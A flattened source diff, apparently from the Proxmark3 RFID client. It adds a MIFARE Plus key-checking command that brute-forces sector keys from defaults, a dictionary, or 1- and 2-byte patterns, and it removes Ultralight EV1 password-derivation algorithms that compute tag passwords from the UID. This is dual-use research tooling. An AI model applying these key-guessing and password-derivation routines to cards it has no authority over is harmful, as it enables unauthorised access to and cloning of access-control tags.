arg_lit0("aA", "keya", "check only key A (by default check all keys)."),
arg_lit0("bB", "keyb", "check only key B (by default check all keys)."),
arg_int0("sS", "startsec", "Start sector Num (0..255)", NULL),
arg_int0("eE", "endsec", "End sector Num (0..255)", NULL),
arg_str0("kK", "key", "<Key>", "Key for checking (HEX 16 bytes)"),
arg_str0("dD", "dict", "<file>", "file with keys dictionary"),
arg_lit0(NULL, "pattern1b", "check all 1-byte combinations of key (0000...0000, 0101...0101, 0202...0202, ...)"),
arg_lit0(NULL, "pattern2b", "check all 2-byte combinations of key (0000...0000, 0001...0001, 0002...0002, ...)"),
arg_str0(NULL, "startp2b", "<Pattern>", "Start key (2-byte HEX) for 2-byte search (use with `--pattern2b`)"),
arg_str0("jJ", "json", "<file>", "json file to save keys"),
arg_lit0("vV", "verbose", "verbose mode."),
arg_param_end
};
CLIExecWithReturn(Cmd, argtable, true);
bool keyA = arg_get_lit(1);
bool keyB = arg_get_lit(2);
uint8_t startSector = arg_get_int_def(3, 0);
uint8_t endSector = arg_get_int_def(4, 0);
uint8_t vkey[16] = {0};
int vkeylen = 0;
CLIGetHexWithReturn(5, vkey, &vkeylen);
if (vkeylen > 0) {
if (vkeylen == 16) {
memcpy(&keyList[keyListLen], vkey, 16);
keyListLen++;
} else {
PrintAndLogEx(ERR, "Specified key must have 16 bytes length.");
CLIParserFree();
return PM3_EINVARG;
}
}
uint8_t dict_filename[FILE_PATH_SIZE + 2] = {0};
int dict_filenamelen = 0;
if (CLIParamStrToBuf(arg_get_str(6), dict_filename, FILE_PATH_SIZE, &dict_filenamelen)) {
PrintAndLogEx(FAILED, "File name too long or invalid.");
CLIParserFree();
return PM3_EINVARG;
}
bool pattern1b = arg_get_lit(7);
bool pattern2b = arg_get_lit(8);
if (pattern1b && pattern2b) {
PrintAndLogEx(ERR, "Pattern search mode must be 2-byte or 1-byte only.");
CLIParserFree();
return PM3_EINVARG;
}
if (dict_filenamelen && (pattern1b || pattern2b)) {
PrintAndLogEx(ERR, "Pattern search mode and dictionary mode can't be used in one command.");
CLIParserFree();
return PM3_EINVARG;
}
uint32_t startPattern = 0x0000;
uint8_t vpattern[2];
int vpatternlen = 0;
CLIGetHexWithReturn(9, vpattern, &vpatternlen);
if (vpatternlen > 0) {
if (vpatternlen > 0 && vpatternlen <= 2) {
startPattern = (vpattern[0] << 8) + vpattern[1];
} else {
PrintAndLogEx(ERR, "Pattern must be 2-byte length.");
CLIParserFree();
return PM3_EINVARG;
}
if (!pattern2b)
PrintAndLogEx(WARNING, "Pattern entered, but search mode not is 2-byte search.");
}
uint8_t jsonname[250] = {0};
int jsonnamelen = 0;
if (CLIParamStrToBuf(arg_get_str(10), jsonname, sizeof(jsonname), &jsonnamelen)) {
PrintAndLogEx(ERR, "Invalid json name.");
CLIParserFree();
return PM3_EINVARG;
}
jsonname[jsonnamelen] = 0;
bool verbose = arg_get_lit(11);
CLIParserFree();
uint8_t startKeyAB = 0;
uint8_t endKeyAB = 1;
if (keyA && !keyB)
endKeyAB = 0;
if (!keyA && keyB)
startKeyAB = 1;
if (endSector < startSector)
endSector = startSector;
// 1-byte pattern search mode
if (pattern1b) {
for (int i = 0; i < 0x100; i++)
memset(keyList[i], i, 16);
keyListLen = 0x100;
}
// 2-byte pattern search mode
if (pattern2b)
Fill2bPattern(keyList, &keyListLen, &startPattern);
// dictionary mode
size_t endFilePosition = 0;
if (dict_filenamelen) {
uint16_t keycnt = 0;
res = loadFileDICTIONARYEx((char *)dict_filename, keyList, sizeof(keyList), NULL, 16, &keycnt, 0, &endFilePosition, true);
keyListLen = keycnt;
if (endFilePosition)
PrintAndLogEx(SUCCESS, "First part of dictionary successfully loaded.");
}
if (keyListLen == 0) {
for (int i = 0; i < g_mifare_plus_default_keys_len; i++) {
if (hex_to_bytes(g_mifare_plus_default_keys[i], keyList[keyListLen], 16) != 16)
break;
keyListLen++;
}
}
if (keyListLen == 0) {
PrintAndLogEx(ERR, "Key list is empty. Nothing to check.");
return PM3_EINVARG;
}
if (!verbose)
printf("Search keys:");
while (true) {
res = MFPKeyCheck(startSector, endSector, startKeyAB, endKeyAB, keyList, keyListLen, foundKeys, verbose);
if (res == PM3_EOPABORTED)
break;
if (pattern2b && startPattern < 0x10000) {
if (!verbose)
printf("p");
keyListLen = 0;
Fill2bPattern(keyList, &keyListLen, &startPattern);
continue;
}
if (dict_filenamelen && endFilePosition) {
if (!verbose)
printf("d");
uint16_t keycnt = 0;
res = loadFileDICTIONARYEx((char *)dict_filename, keyList, sizeof(keyList), NULL, 16, &keycnt, endFilePosition, &endFilePosition, false);
keyListLen = keycnt;
continue;
}
break;
}
if (!verbose)
printf("\n");
// print result
bool printedHeader = false;
for (uint8_t sector = startSector; sector <= endSector; sector++) {
if (foundKeys[0][sector][0] || foundKeys[1][sector][0]) {
if (!printedHeader) {
PrintAndLogEx(NORMAL, "");
PrintAndLogEx(INFO, ".------.--------------------------------.--------------------------------.");
PrintAndLogEx(INFO, "|sector| key A | key B |");
PrintAndLogEx(INFO, "|------|--------------------------------|--------------------------------|");
printedHeader = true;
}
PrintAndLogEx(INFO, "| %02d |%32s|%32s|",
sector,
(foundKeys[0][sector][0] == 0) ? "------ " : sprint_hex_inrow(&foundKeys[0][sector][1], AES_KEY_LEN),
(foundKeys[1][sector][0] == 0) ? "------ " : sprint_hex_inrow(&foundKeys[1][sector][1], AES_KEY_LEN));
}
}
if (!printedHeader)
PrintAndLogEx(INFO, "No keys found(");
else
PrintAndLogEx(INFO, "'------'--------------------------------'--------------------------------'\n");
// save keys to json
if ((jsonnamelen > 0) && printedHeader) {
// Mifare Plus info
SendCommandMIX(CMD_HF_ISO14443A_READER, ISO14A_CONNECT, 0, 0, NULL, 0);
PacketResponseNG resp;
WaitForResponse(CMD_ACK, &resp);
iso14a_card_select_t card;
memcpy(&card, (iso14a_card_select_t *)resp.data.asBytes, sizeof(iso14a_card_select_t));
uint64_t select_status = resp.oldarg[0]; // 0: couldn't read, 1: OK, with ATS, 2: OK, no ATS, 3: proprietary Anticollision
uint8_t data[10 + 1 + 2 + 1 + 256 + 2 * 64 * (AES_KEY_LEN + 1)] = {0};
uint8_t atslen = 0;
if (select_status == 1 || select_status == 2) {
memcpy(data, card.uid, card.uidlen);
data[10] = card.sak;
data[11] = card.atqa[1];
data[12] = card.atqa[0];
atslen = card.ats_len;
data[13] = atslen;
memcpy(&data[14], card.ats, atslen);
}
// length: UID(10b)+SAK(1b)+ATQA(2b)+ATSlen(1b)+ATS(atslen)+foundKeys[2][64][AES_KEY_LEN + 1]
memcpy(&data[14 + atslen], foundKeys, 2 * 64 * (AES_KEY_LEN + 1));
saveFileJSON((char *)jsonname, jsfMfPlusKeys, data, 64);
}
return PM3_SUCCESS;
}
static int CmdHFMFPMAD(const char *Cmd) {
CLIParserInit("hf mfp mad", CLIParserInit("hf mfp mad",
"Checks and prints Mifare Application Directory (MAD)", "Checks and prints Mifare Application Directory (MAD)",
@ -652,7 +980,7 @@ static int CmdHFMFPMAD(const char *cmd) {
arg_lit0("bB", "keyb", "use key B for access printing sectors (by default: key A)"), arg_lit0("bB", "keyb", "use key B for access printing sectors (by default: key A)"),
arg_param_end arg_param_end
}; };
CLIExecWithReturn(cmd, argtable, true); CLIExecWithReturn(Cmd, argtable, true);
bool verbose = arg_get_lit(1); bool verbose = arg_get_lit(1);
uint8_t aid[2] = {0}; uint8_t aid[2] = {0};
@ -728,10 +1056,10 @@ static int CmdHFMFPMAD(const char *cmd) {
} }
} }
return 0; return PM3_SUCCESS;
} }
static int CmdHFMFPNDEF(const char *cmd) { static int CmdHFMFPNDEF(const char *Cmd) {
CLIParserInit("hf mfp ndef", CLIParserInit("hf mfp ndef",
"Prints NFC Data Exchange Format (NDEF)", "Prints NFC Data Exchange Format (NDEF)",
@ -746,7 +1074,7 @@ static int CmdHFMFPNDEF(const char *cmd) {
arg_lit0("bB", "keyb", "use key B for access sectors (by default: key A)"), arg_lit0("bB", "keyb", "use key B for access sectors (by default: key A)"),
arg_param_end arg_param_end
}; };
CLIExecWithReturn(cmd, argtable, true); CLIExecWithReturn(Cmd, argtable, true);
bool verbose = arg_get_lit(1); bool verbose = arg_get_lit(1);
bool verbose2 = arg_get_lit(1) > 1; bool verbose2 = arg_get_lit(1) > 1;
@ -832,7 +1160,7 @@ static int CmdHFMFPNDEF(const char *cmd) {
NDEFDecodeAndPrint(data, datalen, verbose); NDEFDecodeAndPrint(data, datalen, verbose);
return 0; return PM3_SUCCESS;
} }
static command_t CommandTable[] = { static command_t CommandTable[] = {
@ -845,6 +1173,7 @@ static command_t CommandTable[] = {
{"rdbl", CmdHFMFPRdbl, IfPm3Iso14443a, "Read blocks"}, {"rdbl", CmdHFMFPRdbl, IfPm3Iso14443a, "Read blocks"},
{"rdsc", CmdHFMFPRdsc, IfPm3Iso14443a, "Read sectors"}, {"rdsc", CmdHFMFPRdsc, IfPm3Iso14443a, "Read sectors"},
{"wrbl", CmdHFMFPWrbl, IfPm3Iso14443a, "Write blocks"}, {"wrbl", CmdHFMFPWrbl, IfPm3Iso14443a, "Write blocks"},
{"chk", CmdHFMFPChk, IfPm3Iso14443a, "Check keys"},
{"mad", CmdHFMFPMAD, IfPm3Iso14443a, "Checks and prints MAD"}, {"mad", CmdHFMFPMAD, IfPm3Iso14443a, "Checks and prints MAD"},
{"ndef", CmdHFMFPNDEF, IfPm3Iso14443a, "Prints NDEF records from card"}, {"ndef", CmdHFMFPNDEF, IfPm3Iso14443a, "Prints NDEF records from card"},
{NULL, NULL, 0, NULL} {NULL, NULL, 0, NULL}
@ -853,7 +1182,7 @@ static command_t CommandTable[] = {
static int CmdHelp(const char *Cmd) { static int CmdHelp(const char *Cmd) {
(void)Cmd; // Cmd is not used so far (void)Cmd; // Cmd is not used so far
CmdsHelp(CommandTable); CmdsHelp(CommandTable);
return 0; return PM3_SUCCESS;
} }
int CmdHFMFP(const char *Cmd) { int CmdHFMFP(const char *Cmd) {

View file

@ -14,5 +14,4 @@
int CmdHFMFP(const char *Cmd); int CmdHFMFP(const char *Cmd);
#endif #endif

View file

@ -20,6 +20,7 @@
#include "comms.h" #include "comms.h"
#include "fileutils.h" #include "fileutils.h"
#include "protocols.h" #include "protocols.h"
#include "generator.h"
#define MAX_UL_BLOCKS 0x0F #define MAX_UL_BLOCKS 0x0F
#define MAX_ULC_BLOCKS 0x2B #define MAX_ULC_BLOCKS 0x2B
@ -283,151 +284,6 @@ uint8_t UL_MEMORY_ARRAY[ARRAYLEN(UL_TYPES_ARRAY)] = {
MAX_ULEV1a_BLOCKS, MAX_NTAG_213, MAX_NTAG_216, MAX_UL_NANO_40, MAX_NTAG_I2C_1K MAX_ULEV1a_BLOCKS, MAX_NTAG_213, MAX_NTAG_216, MAX_UL_NANO_40, MAX_NTAG_I2C_1K
}; };
//------------------------------------
// Pwd & Pack generation Stuff
//------------------------------------
const uint32_t c_D[] = {
0x6D835AFC, 0x7D15CD97, 0x0942B409, 0x32F9C923, 0xA811FB02, 0x64F121E8,
0xD1CC8B4E, 0xE8873E6F, 0x61399BBB, 0xF1B91926, 0xAC661520, 0xA21A31C9,
0xD424808D, 0xFE118E07, 0xD18E728D, 0xABAC9E17, 0x18066433, 0x00E18E79,
0x65A77305, 0x5AE9E297, 0x11FC628C, 0x7BB3431F, 0x942A8308, 0xB2F8FD20,
0x5728B869, 0x30726D5A
};
static void transform_D(uint8_t *ru) {
//Transform
uint8_t i;
uint8_t p = 0;
uint32_t v1 = ((ru[3] << 24) | (ru[2] << 16) | (ru[1] << 8) | ru[0]) + c_D[p++];
uint32_t v2 = ((ru[7] << 24) | (ru[6] << 16) | (ru[5] << 8) | ru[4]) + c_D[p++];
for (i = 0; i < 12; i += 2) {
uint32_t xor1 = v1 ^ v2;
uint32_t t1 = ROTL(xor1, v2 & 0x1F) + c_D[p++];
uint32_t xor2 = v2 ^ t1;
uint32_t t2 = ROTL(xor2, t1 & 0x1F) + c_D[p++];
uint32_t xor3 = t1 ^ t2;
uint32_t xor4 = t2 ^ v1;
v1 = ROTL(xor3, t2 & 0x1F) + c_D[p++];
v2 = ROTL(xor4, v1 & 0x1F) + c_D[p++];
}
//Re-use ru
ru[0] = v1 & 0xFF;
ru[1] = (v1 >> 8) & 0xFF;
ru[2] = (v1 >> 16) & 0xFF;
ru[3] = (v1 >> 24) & 0xFF;
ru[4] = v2 & 0xFF;
ru[5] = (v2 >> 8) & 0xFF;
ru[6] = (v2 >> 16) & 0xFF;
ru[7] = (v2 >> 24) & 0xFF;
}
// Certain pwd generation algo nickname A.
uint32_t ul_ev1_pwdgenA(uint8_t *uid) {
uint8_t pos = (uid[3] ^ uid[4] ^ uid[5] ^ uid[6]) % 32;
uint32_t xortable[] = {
0x4f2711c1, 0x07D7BB83, 0x9636EF07, 0xB5F4460E, 0xF271141C, 0x7D7BB038, 0x636EF871, 0x5F4468E3,
0x271149C7, 0xD7BB0B8F, 0x36EF8F1E, 0xF446863D, 0x7114947A, 0x7BB0B0F5, 0x6EF8F9EB, 0x44686BD7,
0x11494fAF, 0xBB0B075F, 0xEF8F96BE, 0x4686B57C, 0x1494F2F9, 0xB0B07DF3, 0xF8F963E6, 0x686B5FCC,
0x494F2799, 0x0B07D733, 0x8F963667, 0x86B5F4CE, 0x94F2719C, 0xB07D7B38, 0xF9636E70, 0x6B5F44E0
};
uint8_t entry[] = {0x00, 0x00, 0x00, 0x00};
uint8_t pwd[] = {0x00, 0x00, 0x00, 0x00};
num_to_bytes(xortable[pos], 4, entry);
pwd[0] = entry[0] ^ uid[1] ^ uid[2] ^ uid[3];
pwd[1] = entry[1] ^ uid[0] ^ uid[2] ^ uid[4];
pwd[2] = entry[2] ^ uid[0] ^ uid[1] ^ uid[5];
pwd[3] = entry[3] ^ uid[6];
return (uint32_t)bytes_to_num(pwd, 4);
}
// Certain pwd generation algo nickname B. (very simple)
static uint32_t ul_ev1_pwdgenB(uint8_t *uid) {
uint8_t pwd[] = {0x00, 0x00, 0x00, 0x00};
pwd[0] = uid[1] ^ uid[3] ^ 0xAA;
pwd[1] = uid[2] ^ uid[4] ^ 0x55;
pwd[2] = uid[3] ^ uid[5] ^ 0xAA;
pwd[3] = uid[4] ^ uid[6] ^ 0x55;
return (uint32_t)bytes_to_num(pwd, 4);
}
// Certain pwd generation algo nickname C.
uint32_t ul_ev1_pwdgenC(uint8_t *uid) {
uint32_t pwd = 0;
uint8_t base[] = {
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x28,
0x63, 0x29, 0x20, 0x43, 0x6f, 0x70, 0x79, 0x72,
0x69, 0x67, 0x68, 0x74, 0x20, 0x4c, 0x45, 0x47,
0x4f, 0x20, 0x32, 0x30, 0x31, 0x34, 0xaa, 0xaa
};
memcpy(base, uid, 7);
for (int i = 0; i < 32; i += 4) {
uint32_t b = *(uint32_t *)(base + i);
pwd = b + ROTR(pwd, 25) + ROTR(pwd, 10) - pwd;
}
return BSWAP_32(pwd);
}
// Certain pwd generation algo nickname D.
// a.k.a xzy
uint32_t ul_ev1_pwdgenD(uint8_t *uid) {
uint8_t i;
//Rotate
uint8_t r = (uid[1] + uid[3] + uid[5]) & 7; //Rotation offset
uint8_t ru[8] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }; //Rotated UID
for (i = 0; i < 7; i++)
ru[(i + r) & 7] = uid[i];
transform_D(ru);
//Calc key
uint32_t pwd = 0; //Key as int
r = (ru[0] + ru[2] + ru[4] + ru[6]) & 3; //Offset
for (i = 0; i < 4; i++)
pwd = ru[i + r] + (pwd << 8);
return BSWAP_32(pwd);
}
// pack generation for algo 1-3
uint16_t ul_ev1_packgenA(uint8_t *uid) {
uint16_t pack = (uid[0] ^ uid[1] ^ uid[2]) << 8 | (uid[2] ^ 8);
return pack;
}
uint16_t ul_ev1_packgenB(uint8_t *uid) {
return 0x8080;
}
uint16_t ul_ev1_packgenC(uint8_t *uid) {
return 0xaa55;
}
uint16_t ul_ev1_packgenD(uint8_t *uid) {
uint8_t i;
//Rotate
uint8_t r = (uid[2] + uid[5]) & 7; //Rotation offset
uint8_t ru[8] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }; //Rotated UID
for (i = 0; i < 7; i++)
ru[(i + r) & 7] = uid[i];
transform_D(ru);
//Calc pack
uint32_t p = 0;
for (i = 0; i < 8; i++)
p += ru[i] * 13;
p ^= 0x5555;
return BSWAP_16(p & 0xFFFF);
}
static int ul_ev1_pwdgen_selftest() { static int ul_ev1_pwdgen_selftest() {
uint8_t uid1[] = {0x04, 0x11, 0x12, 0x11, 0x12, 0x11, 0x10}; uint8_t uid1[] = {0x04, 0x11, 0x12, 0x11, 0x12, 0x11, 0x10};
@ -445,7 +301,7 @@ static int ul_ev1_pwdgen_selftest() {
uint8_t uid4[] = {0x04, 0xC5, 0xDF, 0x4A, 0x6D, 0x51, 0x80}; uint8_t uid4[] = {0x04, 0xC5, 0xDF, 0x4A, 0x6D, 0x51, 0x80};
uint32_t pwd4 = ul_ev1_pwdgenD(uid4); uint32_t pwd4 = ul_ev1_pwdgenD(uid4);
PrintAndLogEx(NORMAL, "UID | %s | %08X | %s", sprint_hex(uid4, 7), pwd4, (pwd4 == 0x72B1EC61) ? "OK" : "->72B1EC61<--"); PrintAndLogEx(NORMAL, "UID | %s | %08X | %s", sprint_hex(uid4, 7), pwd4, (pwd4 == 0x72B1EC61) ? "OK" : "->72B1EC61<--");
return 0; return PM3_SUCCESS;
} }
//------------------------------------ //------------------------------------
@ -565,7 +421,7 @@ static int ulc_requestAuthentication(uint8_t *nonce, uint16_t nonceLength) {
static int ulc_authentication(uint8_t *key, bool switch_off_field) { static int ulc_authentication(uint8_t *key, bool switch_off_field) {
clearCommandBuffer(); clearCommandBuffer();
SendCommandOLD(CMD_HF_MIFAREUC_AUTH, switch_off_field, 0, 0, key, 16); SendCommandMIX(CMD_HF_MIFAREUC_AUTH, switch_off_field, 0, 0, key, 16);
PacketResponseNG resp; PacketResponseNG resp;
if (!WaitForResponseTimeout(CMD_ACK, &resp, 1500)) return 0; if (!WaitForResponseTimeout(CMD_ACK, &resp, 1500)) return 0;
if (resp.oldarg[0] == 1) return 1; if (resp.oldarg[0] == 1) return 1;
@ -2262,7 +2118,7 @@ static int CmdHF14AMfURestore(const char *Cmd) {
PrintAndLogEx(NORMAL, "special PWD block written 0x%X - %s\n", MFU_NTAG_SPECIAL_PWD, sprint_hex(data, 4)); PrintAndLogEx(NORMAL, "special PWD block written 0x%X - %s\n", MFU_NTAG_SPECIAL_PWD, sprint_hex(data, 4));
clearCommandBuffer(); clearCommandBuffer();
SendCommandOLD(CMD_HF_MIFAREU_WRITEBL, MFU_NTAG_SPECIAL_PWD, keytype, 0, data, sizeof(data)); SendCommandMIX(CMD_HF_MIFAREU_WRITEBL, MFU_NTAG_SPECIAL_PWD, keytype, 0, data, sizeof(data));
wait4response(MFU_NTAG_SPECIAL_PWD); wait4response(MFU_NTAG_SPECIAL_PWD);
@ -2278,7 +2134,7 @@ static int CmdHF14AMfURestore(const char *Cmd) {
data[3] = 0; data[3] = 0;
PrintAndLogEx(NORMAL, "special PACK block written 0x%X - %s\n", MFU_NTAG_SPECIAL_PACK, sprint_hex(data, 4)); PrintAndLogEx(NORMAL, "special PACK block written 0x%X - %s\n", MFU_NTAG_SPECIAL_PACK, sprint_hex(data, 4));
clearCommandBuffer(); clearCommandBuffer();
SendCommandOLD(CMD_HF_MIFAREU_WRITEBL, MFU_NTAG_SPECIAL_PACK, keytype, 0, data, sizeof(data)); SendCommandMIX(CMD_HF_MIFAREU_WRITEBL, MFU_NTAG_SPECIAL_PACK, keytype, 0, data, sizeof(data));
wait4response(MFU_NTAG_SPECIAL_PACK); wait4response(MFU_NTAG_SPECIAL_PACK);
// Signature // Signature
@ -2286,7 +2142,7 @@ static int CmdHF14AMfURestore(const char *Cmd) {
memcpy(data, mem->signature + i, 4); memcpy(data, mem->signature + i, 4);
PrintAndLogEx(NORMAL, "special SIG block written 0x%X - %s\n", s, sprint_hex(data, 4)); PrintAndLogEx(NORMAL, "special SIG block written 0x%X - %s\n", s, sprint_hex(data, 4));
clearCommandBuffer(); clearCommandBuffer();
SendCommandOLD(CMD_HF_MIFAREU_WRITEBL, s, keytype, 0, data, sizeof(data)); SendCommandMIX(CMD_HF_MIFAREU_WRITEBL, s, keytype, 0, data, sizeof(data));
wait4response(s); wait4response(s);
} }
@ -2295,7 +2151,7 @@ static int CmdHF14AMfURestore(const char *Cmd) {
memcpy(data, mem->version + i, 4); memcpy(data, mem->version + i, 4);
PrintAndLogEx(NORMAL, "special VERSION block written 0x%X - %s\n", s, sprint_hex(data, 4)); PrintAndLogEx(NORMAL, "special VERSION block written 0x%X - %s\n", s, sprint_hex(data, 4));
clearCommandBuffer(); clearCommandBuffer();
SendCommandOLD(CMD_HF_MIFAREU_WRITEBL, s, keytype, 0, data, sizeof(data)); SendCommandMIX(CMD_HF_MIFAREU_WRITEBL, s, keytype, 0, data, sizeof(data));
wait4response(s); wait4response(s);
} }
} }
@ -2309,7 +2165,7 @@ static int CmdHF14AMfURestore(const char *Cmd) {
//Send write Block //Send write Block
memcpy(data, mem->data + (b * 4), 4); memcpy(data, mem->data + (b * 4), 4);
clearCommandBuffer(); clearCommandBuffer();
SendCommandOLD(CMD_HF_MIFAREU_WRITEBL, b, keytype, 0, data, sizeof(data)); SendCommandMIX(CMD_HF_MIFAREU_WRITEBL, b, keytype, 0, data, sizeof(data));
wait4response(b); wait4response(b);
printf("."); printf(".");
fflush(stdout); fflush(stdout);
@ -2329,7 +2185,7 @@ static int CmdHF14AMfURestore(const char *Cmd) {
uint8_t b = blocks[i]; uint8_t b = blocks[i];
memcpy(data, mem->data + (b * 4), 4); memcpy(data, mem->data + (b * 4), 4);
clearCommandBuffer(); clearCommandBuffer();
SendCommandOLD(CMD_HF_MIFAREU_WRITEBL, b, keytype, 0, data, sizeof(data)); SendCommandMIX(CMD_HF_MIFAREU_WRITEBL, b, keytype, 0, data, sizeof(data));
wait4response(b); wait4response(b);
PrintAndLogEx(NORMAL, "special block written %u - %s\n", b, sprint_hex(data, 4)); PrintAndLogEx(NORMAL, "special block written %u - %s\n", b, sprint_hex(data, 4));
} }
@ -2338,7 +2194,7 @@ static int CmdHF14AMfURestore(const char *Cmd) {
DropField(); DropField();
free(dump); free(dump);
PrintAndLogEx(INFO, "Finish restore"); PrintAndLogEx(INFO, "Finish restore");
return 0; return PM3_SUCCESS;
} }
// //
// Load emulator with dump file // Load emulator with dump file
@ -2388,7 +2244,7 @@ static int CmdHF14AMfUCAuth(const char *Cmd) {
else else
PrintAndLogEx(WARNING, "Authentication failed"); PrintAndLogEx(WARNING, "Authentication failed");
return 0; return PM3_SUCCESS;
} }
/** /**
@ -2500,11 +2356,11 @@ static int CmdHF14AMfUCSetPwd(const char *Cmd) {
if (param_gethex(Cmd, 0, pwd, 32)) { if (param_gethex(Cmd, 0, pwd, 32)) {
PrintAndLogEx(WARNING, "Password must include 32 HEX symbols"); PrintAndLogEx(WARNING, "Password must include 32 HEX symbols");
return 1; return PM3_EINVARG;
} }
clearCommandBuffer(); clearCommandBuffer();
SendCommandOLD(CMD_HF_MIFAREUC_SETPWD, 0, 0, 0, pwd, 16); SendCommandMIX(CMD_HF_MIFAREUC_SETPWD, 0, 0, 0, pwd, 16);
PacketResponseNG resp; PacketResponseNG resp;
if (WaitForResponseTimeout(CMD_ACK, &resp, 1500)) { if (WaitForResponseTimeout(CMD_ACK, &resp, 1500)) {
@ -2512,13 +2368,13 @@ static int CmdHF14AMfUCSetPwd(const char *Cmd) {
PrintAndLogEx(INFO, "Ultralight-C new password: %s", sprint_hex(pwd, 16)); PrintAndLogEx(INFO, "Ultralight-C new password: %s", sprint_hex(pwd, 16));
} else { } else {
PrintAndLogEx(WARNING, "Failed writing at block %u", (uint8_t)(resp.oldarg[1] & 0xff)); PrintAndLogEx(WARNING, "Failed writing at block %u", (uint8_t)(resp.oldarg[1] & 0xff));
return 1; return PM3_ESOFT;
} }
} else { } else {
PrintAndLogEx(WARNING, "command execution time out"); PrintAndLogEx(WARNING, "command execution time out");
return 1; return PM3_ETIMEOUT;
} }
return 0; return PM3_SUCCESS;
} }
// //
@ -2556,7 +2412,7 @@ static int CmdHF14AMfUCSetUid(const char *Cmd) {
data[2] = uid[2]; data[2] = uid[2];
data[3] = 0x88 ^ uid[0] ^ uid[1] ^ uid[2]; data[3] = 0x88 ^ uid[0] ^ uid[1] ^ uid[2];
clearCommandBuffer(); clearCommandBuffer();
SendCommandOLD(CMD_HF_MIFAREU_WRITEBL, 0, 0, 0, data, sizeof(data)); SendCommandMIX(CMD_HF_MIFAREU_WRITEBL, 0, 0, 0, data, sizeof(data));
if (!WaitForResponseTimeout(CMD_ACK, &resp, 1500)) { if (!WaitForResponseTimeout(CMD_ACK, &resp, 1500)) {
PrintAndLogEx(WARNING, "Command execute timeout"); PrintAndLogEx(WARNING, "Command execute timeout");
return PM3_ETIMEOUT; return PM3_ETIMEOUT;
@ -2568,7 +2424,7 @@ static int CmdHF14AMfUCSetUid(const char *Cmd) {
data[2] = uid[5]; data[2] = uid[5];
data[3] = uid[6]; data[3] = uid[6];
clearCommandBuffer(); clearCommandBuffer();
SendCommandOLD(CMD_HF_MIFAREU_WRITEBL, 1, 0, 0, data, sizeof(data)); SendCommandMIX(CMD_HF_MIFAREU_WRITEBL, 1, 0, 0, data, sizeof(data));
if (!WaitForResponseTimeout(CMD_ACK, &resp, 1500)) { if (!WaitForResponseTimeout(CMD_ACK, &resp, 1500)) {
PrintAndLogEx(WARNING, "Command execute timeout"); PrintAndLogEx(WARNING, "Command execute timeout");
return PM3_ETIMEOUT; return PM3_ETIMEOUT;
@ -2580,7 +2436,7 @@ static int CmdHF14AMfUCSetUid(const char *Cmd) {
data[2] = oldblock2[2]; data[2] = oldblock2[2];
data[3] = oldblock2[3]; data[3] = oldblock2[3];
clearCommandBuffer(); clearCommandBuffer();
SendCommandOLD(CMD_HF_MIFAREU_WRITEBL, 2, 0, 0, data, sizeof(data)); SendCommandMIX(CMD_HF_MIFAREU_WRITEBL, 2, 0, 0, data, sizeof(data));
if (!WaitForResponseTimeout(CMD_ACK, &resp, 1500)) { if (!WaitForResponseTimeout(CMD_ACK, &resp, 1500)) {
PrintAndLogEx(WARNING, "Command execute timeout"); PrintAndLogEx(WARNING, "Command execute timeout");
return PM3_ETIMEOUT; return PM3_ETIMEOUT;
@ -2611,13 +2467,15 @@ static int CmdHF14AMfUGenDiverseKeys(const char *Cmd) {
if (select_status == 0) { if (select_status == 0) {
PrintAndLogEx(WARNING, "iso14443a card select failed"); PrintAndLogEx(WARNING, "iso14443a card select failed");
return 1; return PM3_ESOFT;
} }
if (card.uidlen != 4) { /*
PrintAndLogEx(WARNING, "Wrong sized UID, expected 4bytes got %d", card.uidlen); if (card.uidlen != 4) {
return 1; PrintAndLogEx(WARNING, "Wrong sized UID, expected 4bytes got %d", card.uidlen);
} return PM3_ESOFT;
memcpy(uid, card.uid, sizeof(uid)); }
*/
memcpy(uid, card.uid, card.uidlen);
} else { } else {
if (param_gethex(Cmd, 0, uid, 8)) return usage_hf_mfu_gendiverse(); if (param_gethex(Cmd, 0, uid, 8)) return usage_hf_mfu_gendiverse();
} }
@ -2654,13 +2512,13 @@ static int CmdHF14AMfUGenDiverseKeys(const char *Cmd) {
, divkey // output , divkey // output
); );
PrintAndLogEx(NORMAL, "-- 3DES version"); PrintAndLogEx(SUCCESS, "-- 3DES version");
PrintAndLogEx(NORMAL, "Masterkey :\t %s", sprint_hex(masterkey, sizeof(masterkey))); PrintAndLogEx(SUCCESS, "Masterkey :\t %s", sprint_hex(masterkey, sizeof(masterkey)));
PrintAndLogEx(NORMAL, "UID :\t %s", sprint_hex(uid, sizeof(uid))); PrintAndLogEx(SUCCESS, "UID :\t %s", sprint_hex(uid, sizeof(uid)));
PrintAndLogEx(NORMAL, "block :\t %0d", block); PrintAndLogEx(SUCCESS, "block :\t %0d", block);
PrintAndLogEx(NORMAL, "Mifare key :\t %s", sprint_hex(mifarekeyA, sizeof(mifarekeyA))); PrintAndLogEx(SUCCESS, "Mifare key :\t %s", sprint_hex(mifarekeyA, sizeof(mifarekeyA)));
PrintAndLogEx(NORMAL, "Message :\t %s", sprint_hex(mix, sizeof(mix))); PrintAndLogEx(SUCCESS, "Message :\t %s", sprint_hex(mix, sizeof(mix)));
PrintAndLogEx(NORMAL, "Diversified key: %s", sprint_hex(divkey + 1, 6)); PrintAndLogEx(SUCCESS, "Diversified key: %s", sprint_hex(divkey + 1, 6));
for (int i = 0; i < ARRAYLEN(mifarekeyA); ++i) { for (int i = 0; i < ARRAYLEN(mifarekeyA); ++i) {
dkeyA[i] = (mifarekeyA[i] << 1) & 0xff; dkeyA[i] = (mifarekeyA[i] << 1) & 0xff;
@ -2690,11 +2548,11 @@ static int CmdHF14AMfUGenDiverseKeys(const char *Cmd) {
, newpwd // output , newpwd // output
); );
PrintAndLogEx(NORMAL, "\n-- DES version"); PrintAndLogEx(SUCCESS, "\n-- DES version");
PrintAndLogEx(NORMAL, "Mifare dkeyA :\t %s", sprint_hex(dkeyA, sizeof(dkeyA))); PrintAndLogEx(SUCCESS, "Mifare dkeyA :\t %s", sprint_hex(dkeyA, sizeof(dkeyA)));
PrintAndLogEx(NORMAL, "Mifare dkeyB :\t %s", sprint_hex(dkeyB, sizeof(dkeyB))); PrintAndLogEx(SUCCESS, "Mifare dkeyB :\t %s", sprint_hex(dkeyB, sizeof(dkeyB)));
